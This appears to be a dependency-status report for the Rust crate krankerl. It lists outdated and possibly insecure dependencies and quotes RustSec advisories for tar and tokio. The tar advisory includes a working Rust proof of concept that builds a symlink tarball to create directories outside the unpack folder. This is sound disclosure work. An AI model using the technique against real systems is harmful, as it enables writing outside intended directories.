This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate krankerl

Dependencies

(23 total, 13 outdated, 2 possibly insecure)

CrateRequiredLatestStatus
 base64^0.100.22.0out of date
 composer^0.10.2.1out of date
 docopt^1.01.1.1up to date
 failure^0.1.30.1.8up to date
 flate2^1.01.0.28up to date
 futures^0.10.3.30out of date
 git2^0.70.18.3out of date
 globset^0.4.20.4.14up to date
 hex^0.30.4.3out of date
 indicatif^0.9.00.17.8out of date
 nextcloud_appinfo^0.4.10.6.0out of date
 nextcloud_appsignature^0.3.00.7.1out of date
 nextcloud_appstore^0.4.00.8.0out of date
 npm_scripts^0.1.20.2.0out of date
 pathdiff^0.1.00.2.1out of date
 serde^1.01.0.198up to date
 serde_derive^1.01.0.198up to date
 serde_json^1.01.0.116up to date
 tar ⚠️^0.4.200.4.40maybe insecure
 tokio ⚠️^0.1.111.37.0out of date
 toml^0.4.80.8.12out of date
 walkdir^2.2.72.5.0up to date
 xdg^2.1.02.5.2up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 fs_extra^1.1.01.3.0up to date
 tempdir^0.30.3.7up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

tokio: Data race when sending and receiving after closing a `oneshot` channel

RUSTSEC-2021-0124

If a tokio::sync::oneshot channel is closed (via the oneshot::Receiver::close method), a data race may occur if the oneshot::Sender::send method is called while the corresponding oneshot::Receiver is awaited or calling try_recv.

When these methods are called concurrently on a closed channel, the two halves of the channel can concurrently access a shared memory location, resulting in a data race. This has been observed to cause memory corruption.

Note that the race only occurs when both halves of the channel are used after the Receiver half has called close. Code where close is not used, or where the Receiver is not awaited and try_recv is not called after calling close, is not affected.

See tokio#4225 for more details.